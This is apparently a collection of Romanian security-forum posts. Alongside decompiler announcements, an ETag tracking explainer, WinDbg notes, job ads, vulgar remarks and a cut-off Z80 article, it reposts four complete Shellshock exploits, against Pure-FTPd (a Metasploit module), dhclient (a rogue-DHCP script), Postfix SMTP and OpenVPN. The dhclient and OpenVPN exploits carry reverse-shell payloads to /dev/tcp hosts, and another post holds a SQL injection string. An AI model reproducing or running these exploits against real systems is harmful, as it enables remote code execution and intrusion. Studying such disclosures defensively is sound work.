Nytro

Da, interesanta ideea. Nu va chinuiti sa scanati in masa, aveti nevoie de user si pass, trebuie sa va autentificati.

General Machine Code to C Decompiler Free Windows I64 target edition Interactive Windows GUI C Decompiler Features Global Analysis While function analysis alone provides information of the function’s control flow, only global program analysis can reveal the full details of the function’s interaction with the program. Type Detection and Propagation Data types are deduced from operations performed on the data and then propagated and synchronized globally. Full Data Flow Analysis Machine code has to work around CPU characteristics like the limited number of registers or operator location restrictions. Full data flow analysis facilitates the elimination of irrelevant data transfers and provides clear and short C code. Machine Code to C The low level features of C allow expressing most machine code functions in C. It is not relevant if the function was initially written in C or any other stack frame based language, including Assembler. Interactive Static decompilation has its limits and needs user guidance to provide missing context. Interactive manipulations, directly at the source allow you to guide the decompilation process. E.g. change a function’s ABI to restrict its return value locations or add missing destinations to a computed call. No Compiler Detection Global analysis provides the information to make compiler based assumptions obsolete. General compiler patterns are only employed as a last resort to resolve situations where information are missing, e.g. both, a called function’s code and its signature are not available. Function Signatures Library Detection of known functions from static compiler libraries shortens the decompile process and introduces additional type information. The build-in signature generator enables the user to extend the library with required signatures. Showcase Interactive Selecting a C source code token highlights related token and shows the properties of the underlying object in a separate view. Tooltips provide quick information for the token under the mouse pointer. Context Menus Context Menus are available in the Source View, Function Tree and the Properties View. They are tailored to the selected token and give quick access to the relevant control actions. Properties All relevant details of a selected token are presented in the Properties View. Issue View Relevant decompile events are presented by informative Issues and navigation and control actions. Function Tree The function tree for navigation and quick access to function control actions. C/Assembler Mix The underlying assembler code can be embedded in the generated C code. Sursa: C4Decompiler, the C Decompiler for Windows x64 Download: Download C Decompiler for Windows – C4Decompiler.com

Decompile APK. Mark-up your analysis. Leverage our API. JEB is the most powerful Android app decompiler, built by and for security engineers, and allows them to do their job faster and more efficiently. Features See how JEB makes APK decompilation and Android decompilation easy: Full-fledged Dalvik decompiler. At its core, JEB's unique feature is its ability to directly decompile Dalvik bytecode to Java source code. This approach offers many advantages, as our in-house decompiler is aware of and takes into consideration many Dalvik subtleties, and makes wise use of the metadata present in the DEX file. (See how JEB compares against other tools.) Interactivity. Analysts need flexible tools, especially when they deal with obfuscated or protected pieces of code. JEB's powerful UI allows you to examine cross-references, rename methods, fields, classes and packages, navigate between code and data, take notes, add inline comments, and more. Full APK view. Take advantage of the full APK view, including decompressed manifest, resources, certificates, strings, constants, etc. Again, flexibility is key. API for Automation. Use JEB's Application Programming Interface (API) to write Python scripts and plugins, and automate your analysis needs. Track your progress. What would hours of research and analysis mean if you or your team couldn't pick up from where you left off? Save your analysis to binary files, track progress through JEB's revision history mechanism Technical support. Enjoy our responsiveness. We are also committed to frequent release cycles to make sure JEB stays at the top of its game. Multi-platform. JEB runs on Windows, Linux and Mac OS. Read More : http://www.android-d...r.com/index.php DepositFiles Screenshots: Interactive Disassembly Decompiled Java XML Manifest Resource Tree Certificates A Look at the Options Sursa: JEB - The Interactive Android Decompiler - EXETOOLS FORUM

La tine am vazut si am postat la Tutoriale. E ok si aici, trebuie citit.

[h=2]Cookieless cookies[/h] There is another obscure way of tracking users without using cookies or even Javascript. It has already been used by numerous websites but few people know of it. This page explains how it works and how to protect yourself. This tracking method works without needing to use: Cookies Javascript LocalStorage/SessionStorage/GlobalStorage Flash, Java or other plugins Your IP address or user agent string Any methods employed by Panopticlick Instead it uses another type of storage that is persistent between browser restarts: caching. Even when you disabled cookies entirely, have Javascript turned off and use a VPN service, this technique will still be able to track you. [h=3]Demonstration[/h] As you read this, you have already been tagged. Sorry. The good news is that I don't link your session id to any personally identifiable information. Here is everything I store about you right now: Number of visits: 2 Last visit: Thu, 09 Oct 2014 15:34:32 +0200 Want to store some text here? (max. 350 characters) Go ahead, type something and store it. Then close your browser and open this page again. Is it still there? Check your cookies, is anything there? Nope, it's all in a fake image checksum that almost noone is aware of. Saw that eye on the right top of the page? That's our tracker. [h=3]So how does this work?[/h] This is a general overview: The ETag shown in the image is a sort of checksum. When the image changes, the checksum changes. So when the browser has the image and knows the checksum, it can send it to the webserver for verification. The webserver then checks whether the image has changed. If it hasn't, the image does not need to be retransmitted and lots of data is saved. Attentive readers might have noticed already how you can use this to track people: the browser sends the information back to the server that it previously received (the ETag). That sounds an awful lot like cookies, doesn't it? The server can simply give each browser an unique ETag, and when they connect again it can look it up in its database. Technical stuff (and bugs) specifically about this demo To demonstrate how this works without having to use Javascript, I had to find a piece of information that's relatively unique to you besides this ETag. The image is loaded after the page is loaded, but only the image contains the ETag. How can I display up to date info on the page? Turns out I can't really do that without dynamically updating the page, which requires javascript, which I wanted to avoid to show that it can be done without. This chicken and egg problem introduces a few bugs: - All information you see was from your previous pageload. Press F5 to see updated data. - When you visit a page where you don't have an ETag (like incognito mode), your session will be emptied. Again, this is only visible when you reload the page. I did not see a simple solution to these issues. Sure some things can be done, but nothing that other websites would use, and I wanted to keep the code as simple and as close to reality as possible. Note that these bugs normally don't exist when you really want to track someone because then you don't intend to show users that they are being tracked. Source code What's a project without source code? Oh right, Microsoft Windows. https://github.com/lucb1e/cookielesscookies [h=3]What can we do to stop it?[/h] One thing I would strongly recommend you to do anytime you visit a page where you want a little more security, is opening a private navigation window and using https exclusively. Doing this single-handedly eliminates attacks like BREACH (the latest https hack), disables any and all tracking cookies that you might have, and also eliminates cache tracking issues like I'm demonstrating on this page. I use this private navigation mode when I do online banking. In Firefox (and I think MSIE too) it's Ctrl+Shift+P, in Chrome it's Ctrl+Shift+N. Besides that, it depends on your level of paranoia. I currently have no straightforward answer since cache tracking is virtually undetectable, but also because caching itself is useful and saves people (including you) time and money. Website admins will consume less bandwidth (and if you think about it, in the end users are the ones that will have to pay the bill), your pages will load faster, and especially on mobile devices it makes a big difference if you don't have an unlimited 4G plan. It's even worse when you have a high-latency or low-bandwidth connection because you live in a rural area. If you're very paranoid, it's best to just disable caching altogether. This will stop any such tracking from happening, but I personally don't believe it's worth the downsides. The Firefox add-on Self-Destructing Cookies has the ability to empty your cache when you're not using your browser for a while. This might be an okay alternative to disabling caching; you can only be tracked during your visit, and they can already do that anyway by following which pages were visited by which IP address, so that's no big deal. Any later visits will appear as from a different user, assuming all other tracking methods have already been prevented. I'm not aware of any add-on that periodically removes your cache (e.g. once per 72 hours), but there might be. This would be another good alternative for 99% of the users because it has a relatively low performance impact while still limiting the tracking capabilities. Update: I've heard the Firefox add-on SecretAgent also does ETag overwriting to prevent this kind of tracking method. You can whitelist websites to re-enable caching there while blocking tracking by other domains. It has been confirmed that this add-on stops the tracking. SecretAgent's website. SURSA: Lucb1e.com :: Cookieless Cookies

Nu am facut kernel debugging, dar http://alexandreborgesbrazil.files.wordpress.com/2014/03/intro_win_debugging.pdf .

Am inceput sa folosesc mai des WinDbg (IDA sucks in unele privinte) si mi-am facut o lista cu comenzile utile. ? - Regular commands help ?? expr - Evaluate C++ expression $$ comment - Add comment ~ - All threads ~. - Current thread ~. k - Current thread stack ~* k - All threads stack .cls - Clear screen .help - Display . commands .hh text - Open Help and search text .lastevent - Last exception/event .time - Kernel and user time .tthread - Thread time .attach - Attach to process with PID .detach - Detach from process .restart - Restart application .symfix - Set default symbol path .reload - Reload all symbols .tlist - List all processes !Ext.help - General extensions !Exts.help - Other extensions !Uext.help - User-mode extensions !Wdfkd.help - Kernel-mode extensions !analyze -v - Information about current exception !threads - Detalied threads info !address -summary - Memory addresses !heap -s - Heap info !runaway - Time of all threads !teb - Thread Environment Block !peb - Process Environment Block !dlls - Loaded modules (+options) !lmi chrome.dll - Module information !dh kernel32.dll - Display PE headers and sections !tls - Thread Local Storage !gle - Dump last errors (by threads) !error ERR - Display error text info !uniqstack - Stack for all threads !address Addr - Display info about address !mapped_file Addr - File containing that address g - Go gu - Go up (until function complete) q - End debug session p - Single step pt - Step to next return pc - Step to next call pa Addr - Step until addr lm / lmf - Loaded modules lm vm chrome - Module information ld * / module - Load symbols n 10 / 16 - Change number base x kernel32!Load* - Examine symbols ln addr - List nearest symbols k - Stack kd - Raw stack kb - Stack with firts 3 params r - Show registers r eax,ebx - Show some registers r ecx=0 - Set register value dt ntdll!_PEB - Display type dv - Display local variables da, du - Display ASCII/Unicode memory db, dw, dd, dq, df - Display byte/word/dword/qword/float memory db*, dd* - Display dereferenced memory eb, ew, ed, eq, ef - Edit byte/word/dword/qword/float memory c, m, f - Compare, move, fill memory s Addr Size Data - Search data bl - List breakpoints bc * - Clear all breakpoints be / bd - Enable/disable breakpoints bp Addr - Add breakpoint bm Sym - Add breakpoint on symbol ba [rwx] Addr - Break on access bp mod!addr /1 - Only once bp mod!addr k - Only triggered after k-1 passes Poate i se mai pare cuiva utila. Mai multe comenzi: http://windbg.info/doc/1-common-cmds.html Un mic cheatsheet: https://labs.snort.org/awbo/windbg.txt

Audit != Pentest Audit: Audit - Wikipedia (zis si AUDIT FINANCIAR) Pentest: Penetration test - Wikipedia, the free encyclopedia Nu mai faceti confuzie!

Unele intrebari sunt penibile. Rau de tot. Altele au raspunsuri gresite.

Vezi aici: Firefox password cracker - clean code - Source Codes - rohitab.com - Forums Daca ai intrebari, spune.

SDFSDFSDF - Cod invalid ' or 1=1-- - Badge printed

Mergeti la IMworld la G-Data. Sunt cateva gagici in rosu, o sa va placa!

I?i scriu despre posibilitatea unei frumoase oportunitati de cariera al?turi de X Romania, fiind furnizor de top in outsourcing de servicii IT si software high-end pentru telecomunica?ii, industria financiar?, ?i de automobile. Firma e mare. Bucuresti. Daca e cineva interesat sa imi dea PM. Skills Required: - Experience with C++ programming on Linux/Unix environments - Experience in embedded software development, preferably for network equipments - Experience with cross compilers, debuggers, etc. - Good understanding of Ethernet and IP networking - Familiarity with SVN(or similar) and GNU tools - Knowledge of RTOS application development (VxWorks / NetBSD / Linux) - Understanding multi-process system software architectures - Experience with one or more of the following: POSIX threads, SNMP, XML - Shell Scripting - Perl, Python, PHP, HTML

Ar trebui sa mearga si fara, pe SMTP, fara ESMTP (Extended SMTP). Nu am citit RFC-ul, dar serverele "compatibile" ar trebui sa accepte si lipsa unui HELO (din SMTP) deoarece nu pare sa fie obligatoriu. Edit: Pare obligatoriu: "In any event, a client MUST issue HELO or EHLO before starting a mail transaction." Sursa: RFC SMTP

"Romania is known as a hub for cyber crime; more than $1 billion stolen in the US by Romanian hackers in 2012, according to the American ambassador in Bucharest." Baetii ne-au crescut PIB-ul. Deci mesajul pentru americani este: "Sa va luam in pula!".

"programmers and others involved in software development, including graphic designers, interface designers and project managers, collaborate intensively on software projects" Ce legatura are termenul "hack" cu cacaturile de acolo? "Hackathon" cica, nu puteau sa ii zica "programathon"... "We will provide you access to the event, food & beverage, HackTM T-shirt & swag, the chance to win awesome prizes & lots of fun!" Luati muie pentru un tricou si o ciorba. Sclavilor.

[h=1]Pure-FTPd External Authentication Bash Environment Variable Code Injection[/h] ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', 'Description' => %q( This module exploits the code injection flaw known as shellshock which leverages specially crafted environment variables in Bash. This exploit specifically targets Pure-FTPd when configured to use an external program for authentication. ), 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'Frank Denis', # Discovery of Pure-FTPd attack vector 'Spencer McIntyre' # Metasploit module ], 'References' => [ ['CVE', '2014-6271'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Targets' => [ [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => :printf } ], [ 'Linux x86_64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => :printf } ] ], 'DefaultOptions' => { 'PrependFork' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014')) register_options( [ Opt::RPORT(21), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) ], self.class) deregister_options('FTPUSER', 'FTPPASS') end def check # this check method tries to use the vulnerability to bypass the login username = rand_text_alphanumeric(rand(20) + 1) random_id = (rand(100) + 1) command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" if send_command(username, command) =~ /^2\d\d ok./i return CheckCode::Safe if banner !~ /pure-ftpd/i disconnect command = "echo auth_ok:0; echo end" if send_command(username, command) =~ /^5\d\d login authentication failed/i return CheckCode::Vulnerable end end disconnect CheckCode::Safe end def execute_command(cmd, _opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") username = rand_text_alphanumeric(rand(20) + 1) send_command(username, cmd) end def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds if generate_payload_exe.blank? fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") end execute_cmdstager(linemax: 500) handler end def send_command(username, cmd) cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" connect send_user(username) password_result = send_pass(cmd) disconnect password_result end end Sursa: http://www.exploit-db.com/exploits/34862/

[h=1]GNU bash 4.3.11 Environment Variable dhclient Exploit[/h] #!/usr/bin/python# Exploit Title: dhclient shellshocker # Google Dork: n/a # Date: 10/1/14 # Exploit Author: @0x00string # Vendor Homepage: gnu.org # Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz # Version: 4.3.11 # Tested on: Ubuntu 14.04.1 # CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187 # ______ ______ ______ _ # / __ | / __ |/ __ | _ (_) #| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___ #| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___) #| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ | # \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/ # (_____| # _ _ _ _ # | | | | (_) _ # _ | | | _ ____| |_ ____ ____ | |_ # / || | || \ / ___) | |/ _ ) _ \| _) #( (_| | | | ( (___| | ( (/ /| | | | |__ # \____|_| |_|\____)_|_|\____)_| |_|\___) # # _ _ _ _ _ # | | | | | | | | | # ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____ # /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___) #|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| | #(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_| # this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts # once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out # The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability. # can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example. import socket, struct def HexToByte( hexStr ): b = [] h = ''.join( h.split(" ") ) for i in range(0, len(h), 2): b.append( chr( int (h[i:i+2], 16 ) ) ) return ''.join( b ) rport = 68 lport = 67 bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bsock.bind(("<broadcast>", lport)) while True: OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114 URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex") URLLEN = chr(len(URL) / 2).encode("hex") END = "03040a000001ff" broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048) hexip = broadcast_get[245:249] rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3])) XID = broadcast_get[4:8].encode("hex") chaddr = broadcast_get[29:34].encode("hex") print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n" OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END OFFER_BYTES = HexToByte(OFFER) ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END ACK_BYTES = HexToByte(ACK) print "[+]\tsending evil offer\n" sock.sendto(OFFER_BYTES, (rhost, rport)) broadcast_get2 = bsock.recvfrom(2048) print "[+]\tassuming request was received, sending ACK\n" sock.sendto(ACK_BYTES, (rhost, rport)) Sursa: http://www.exploit-db.com/exploits/34860/

[h=1]Postfix SMTP - Shellshock Exploit[/h] #!/bin/python# Exploit Title: Shellshock SMTP Exploit # Date: 10/3/2014 # Exploit Author: fattymcwopr # Vendor Homepage: gnu.org # Software Link: http://ftp.gnu.org/gnu/bash/ # Version: 4.2.x < 4.2.48 # Tested on: Debian 7 (postfix smtp server w/procmail) # CVE : 2014-6271 from socket import * import sys def usage(): print "shellshock_smtp.py <target> <command>" argc = len(sys.argv) if(argc < 3 or argc > 3): usage() sys.exit(0) rport = 25 rhost = sys.argv[1] cmd = sys.argv[2] headers = ([ "To", "References", "Cc", "Bcc", "From", "Subject", "Date", "Message-ID", "Comments", "Keywords", "Resent-Date", "Resent-From", "Resent-Sender" ]) s = socket(AF_INET, SOCK_STREAM) s.connect((rhost, rport)) # banner grab s.recv(2048*4) def netFormat(d): d += "\n" return d.encode('hex').decode('hex') data = netFormat("mail from:<>") s.send(data) s.recv(2048*4) data = netFormat("rcpt to:<nobody>") s.send(data) s.recv(2048*4) data = netFormat("data") s.send(data) s.recv(2048*4) data = '' for h in headers: data += netFormat(h + ":() { :; };" + cmd) data += netFormat(cmd) # <CR><LF>.<CR><LF> data += "0d0a2e0d0a".decode('hex') s.send(data) s.recv(2048*4) data = netFormat("quit") s.send(data) s.recv(2048*4) Sursa: http://www.exploit-db.com/exploits/34896/

[h=1]OpenVPN 2.2.29 - ShellShock Exploit[/h] # Exploit Title: ShellShock OpenVPN Exploit # Date: Fri Oct 3 15:48:08 EDT 2014 # Exploit Author: hobbily AKA @fj33r # Version: 2.2.29 # Tested on: Debian Linux # CVE : CVE-2014-6271 #Probably should of submitted this the day I tweeted it. ### server.conf port 1194 proto udp dev tun client-cert-not-required auth-user-pass-verify /etc/openvpn/user.sh via-env tmp-dir "/etc/openvpn/tmp" ca ca.crt cert testing.crt key testing.key # This file should be kept secret dh dh1024.pem server 10.8.0.0 255.255.255.0 keepalive 10 120 comp-lzo user nobody group nogroup persist-key persist-tun client-cert-not-required plugin /usr/lib/openvpn/openvpn-auth-pam.so login script-security 3 status openvpn-status.log verb 3 ### user.sh #!/bin/bash echo "$username" echo "$password" ### start server openvpn server.con ### terminal 1 nc -lp 4444 ### terminal 2 sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca ca.cert --auth-nocache --comp-lzo ### username && password were both shellshocked just incase user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 & pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 & ### log Mon Sep 29 20:56:56 2014 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts Mon Sep 29 20:56:56 2014 PLUGIN_INIT: POST /usr/lib/openvpn/openvpn-auth-pam.so '[/usr/lib/openvpn/openvpn-auth-pam.so] [login]' intercepted=PLUGIN_AUTH_USER_PASS_VERIFY Mon Sep 29 20:56:56 2014 Diffie-Hellman initialized with 1024 bit key Mon Sep 29 20:56:56 2014 WARNING: POTENTIALLY DANGEROUS OPTION --client-cert-not-required may accept clients which do not present a certificate Mon Sep 29 20:56:56 2014 TLS-Auth MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:56:56 2014 Socket Buffers: R=[163840->131072] S=[163840->131072] Mon Sep 29 20:56:56 2014 ROUTE default_gateway=10.10.0.1 Mon Sep 29 20:56:56 2014 TUN/TAP device tun0 opened Mon Sep 29 20:56:56 2014 TUN/TAP TX queue length set to 100 Mon Sep 29 20:56:56 2014 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 Mon Sep 29 20:56:56 2014 /sbin/ifconfig tun0 10.8.0.1 pointopoint 10.8.0.2 mtu 1500 Mon Sep 29 20:56:56 2014 /sbin/route add -net 10.8.0.0 netmask 255.255.255.0 gw 10.8.0.2 Mon Sep 29 20:56:56 2014 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:56:56 2014 GID set to nogroup Mon Sep 29 20:56:56 2014 UID set to nobody Mon Sep 29 20:56:56 2014 UDPv4 link local (bound): [undef] Mon Sep 29 20:56:56 2014 UDPv4 link remote: [undef] Mon Sep 29 20:56:56 2014 MULTI: multi_init called, r=256 v=256 Mon Sep 29 20:56:56 2014 IFCONFIG POOL: base=10.8.0.4 size=62, ipv6=0 Mon Sep 29 20:56:56 2014 Initialization Sequence Completed Mon Sep 29 20:57:54 2014 MULTI: multi_create_instance called Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Re-using SSL/TLS context Mon Sep 29 20:57:54 2014 10.10.0.56:1194 LZO compression initialized Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Local Options hash (VER=V4): '530fdded' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Expected Remote Options hash (VER=V4): '41690919' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 TLS: Initial packet from [AF_INET]10.10.0.56:1194, sid=644ea55a 5f832b02 AUTH-PAM: BACKGROUND: user '() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &' failed to authenticate: Error in service module Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: POST /usr/lib/openvpn/openvpn-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1 Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-pam.so _________/bin/bash_-i____/dev/tcp/10.10.0.56/4444_0__1__ Mon Sep 29 20:57:57 2014 10.10.0.56:1194 TLS Auth Error: Auth Username/Password verification failed for peer Mon Sep 29 20:57:57 2014 10.10.0.56:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA Mon Sep 29 20:57:57 2014 10.10.0.56:1194 [] Peer Connection Initiated with [AF_INET]10.10.0.56:1194 Mon Sep 29 20:57:59 2014 10.10.0.56:1194 PUSH: Received control message: 'PUSH_REQUEST' Mon Sep 29 20:57:59 2014 10.10.0.56:1194 Delayed exit in 5 seconds Mon Sep 29 20:57:59 2014 10.10.0.56:1194 SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1) Mon Sep 29 20:58:01 2014 read UDPv4 [ECONNREFUSED]: Connection refused (code=111) Mon Sep 29 20:58:04 2014 10.10.0.56:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting ### nc listener nobody@debian:/etc/openvpn$ id id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) #shoutouts to Fredrik Str?mberg for the post he made on ycombinator Sursa: http://www.exploit-db.com/exploits/34879/

Down to the silicon: how the Z80's registers are implemented The 8-bit Z80 microprocessor is famed for use in many early personal computers such the Osborne 1, TRS-80, and Sinclair ZX Spectrum. The Z80 has an innovative design for its internal registers, with two sets of general-purpose registers. The diagram below shows a highly-magnified photo of the Z80 chip, from the Visual 6502 team. Zooming in on the register file at the right, the transistors that make up the registers are visible (with difficulty). Each register is in a column, with the low bit on top and high bit on the bottom. This article explains the details of the Z80's register structure: its architecture, how it works, and exactly how it is implemented, based on my reverse-engineering of the chip. The die of the Z80 microprocessor, zooming in on the register file. Each register is stored vertically, with bit 0 and the top and bit 15 at the bottom. There are two sets of AF/BC/DE/HL registers. At the right, drivers connect the registers to the data buses. At the top, circuitry selects a register. The Z80's architecture is often described with the diagram below, which shows the programmer's model of the chip.[1][2] But as we will see, the Z80's actual register and bus organization differs from this diagram in many ways. For instance, the data bus on the real chip has multiple segments. The diagram shows a separate incrementer for the refresh register (IR), an adder for IX and IY offsets, and a W'Z' register but those don't exist on the real chip. The Z80 shows that the physical implementation of a chip may be very different from how it appears logically. Programmer's model of Z80 architecture from Wikipedia. Diagram by Appaloosa CC BY-SA 3.0. Original by Rodnay Zaks. Register overview and layout The diagram below shows how the Z80's registers are physically arranged on the chip, matching the die photo above. The register file consists of 14 pairs of 8-bit registers. In many cases, a pair of 8-bit registers is treated as a single 16-bit register. The bits are ordered from 0 at the top to 15 at the bottom, so the low-order byte is on the top and the high-order byte is on the bottom. At the right of the register file are the 8-bit accumulator (A) and 8-bit flag register (F). The accumulator holds the result of arithmetic and logic operations, so it is a very important register. The flag register holds condition flags, for instance indicating a zero value, negative value, overflow value or other conditions. Note that there are two A registers and two F registers, along with two of BC, DE, and HL. The Z80 is described as having a main register set (AF, BC, DE, and HL) and an alternate register set (A'F', B'C', D'E', and H'L'), and this is how the architecture diagram earlier is drawn. It turns out, though, that this is not how the Z80 is actually implemented. There isn't a main register set and an alternate register set. Instead, there are two of each register and either one can be the main or alternate. This will be explained in more detail below. Structure of the Z-80's register file as implemented on the chip. The address is 16 bits wide, while the data buses are 8 bits wide. Gray lines show switches between bus segments. To the left of the AF registers are the two general-purpose BC registers. These can be used as 8-bit registers (B or C), or a 16-bit register (BC). Next to them are the similar DE and HL registers. The HL register is often used to reference a location in memory; H holds the high byte of the address, and L holds the low byte. This register structure is based on the earlier 8080 microprocessor. (As will be explained later, DE and HL can swap roles, so these registers should really be labeled H/D and L/E.) Next to the left are the 16-bit IX and IY index registers. These are used to point to the start of a region in memory, such as a table of data. The 16-bit stack pointer SP is to the left of the index registers. The stack pointer indicates the top of the stack in memory. Data is pushed and popped from the stack, for instance in subroutine calls. To the left of the stack pointer are the 8-bit W and Z registers. As will be discussed below, these are internal registers used for temporary storage and are invisible to the programmer. Separated from the previous registers is the special-purpose memory refresh register R, which simplifies the hardware when dynamic memory is used.[3] The interrupt page address register I is below R, and is used for interrupt handling. (It provides the high-order byte of an interrupt handler address.) Finally, at the left is the 16-bit PC (Program Counter), which steps through memory to fetch instructions. Since it is 16 bits, the Z80 can address 64K of memory. Its position next to the incrementer/decrementer is important and will be discussed below. The Z80's register buses An important part of the Z80's architecture is how the registers are connected to other parts of the system by various buses. The Z80 is described as having a 16-bit address bus and an 8-bit data bus, but the implementation is more complicated.[3][4] The point of this complexity is to permit multiple register activities as the same time, so the chip can execute faster. The PC and IR registers are separated from the rest of the registers. As the diagram above shows, these registers are connected to the other registers through a 16-bit bus (thick black line). However, this bus can be connected or disconnected as needed (by pass transistors indicated by the vertical gray line). When disconnected, the PC and R registers can be updated while registers on the right are in use. The internal register bus connects the PC and IR registers to an incrementer/decrementer/latch circuit. It has multiple uses, but the main purpose is to step the PC from one instruction to the next, and to increment the R register to refresh memory. The resulting address goes to the address pins via the address bus (magenta). I describe the incrementer/decrementer/latch in detail here. At the right, separate 8-bit data buses connect to the low-order and high-order registers. These two buses can be connected or disconnected as needed. The lower bus (orange) provides access to the ALU (arithmetic logic unit). The upper bus (green) connects to another data bus (red) that accesses the data pins and instruction decoder. Photo of the Z80 die. The address bus is indicated in purple. The data bus segments are in red, green, and orange. Specifying registers in the opcodes The Z80 uses 8-bit opcodes to specify its instructions, and these instructions are carefully designed to efficiently specify which registers to use. Register instructions normally use three bits to specify the register used: 000=B, 001=C, 010=D, 011=E, 100=H, 101=L, 110=indirect through HL, 111=A.[5] For instance, the ADD instructions have the 8-bit binary values 10000rrr, where the rrr bits specify the register to use as above. Note that in this pattern the two high-order bits specify the register pair, while the low order bit specifies which half of the pair to use; for example 00x is BC, 000 is B, and 001 is C. For instructions operating on a register pair (such as 16-bit increment INC), the opcode uses just the two bits to specify the pair. By using this structure for opcodes, the instruction decoding logic is simplified since the same circuitry can be reused to select a register or register pair for many different instructions. Instruction decode circuitry located above the register file uses the two bits to select the register pair and then uses the third bit to pick the lower or upper half of the register file. The register selection bits can be in bits 2-0 of the instruction, for example AND; in bits 5-3 of the instruction, for example DEC (decrement); or in both positions, for example register-to-register LD.[6] To handle this, a multiplexer selects the appropriate group of bits and feeds them into the register select logic. Thus, the same circuit efficiently handles register bits in either position. By designing the instruction set in this way, the Z80 combines the ability to use a large register set with a compact hardware implementation. Swapping registers through register renaming The Z80 has several instructions to swap registers or register sets. The EX DE, HL instruction exchanges the DE and HL registers. The EX AF, AF' 